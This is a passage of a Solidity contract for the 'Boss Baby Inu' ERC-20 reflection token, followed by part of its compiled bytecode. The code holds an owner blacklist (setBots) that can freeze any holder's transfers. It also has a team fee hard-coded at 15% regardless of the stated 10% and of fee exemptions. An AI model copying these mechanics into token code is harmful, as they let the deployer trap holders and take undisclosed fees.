a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BossBabyInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Boss Baby Inu \xF0\x9F\x91\xBC"; string private constant _symbol = "BossBabyInu \xF0\x9F\x91\xB6"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280601281526020017f426f7373204261627920496e7520f09f91bc0000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601081526020017f426f737342616279496e7520f09f91b600000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612a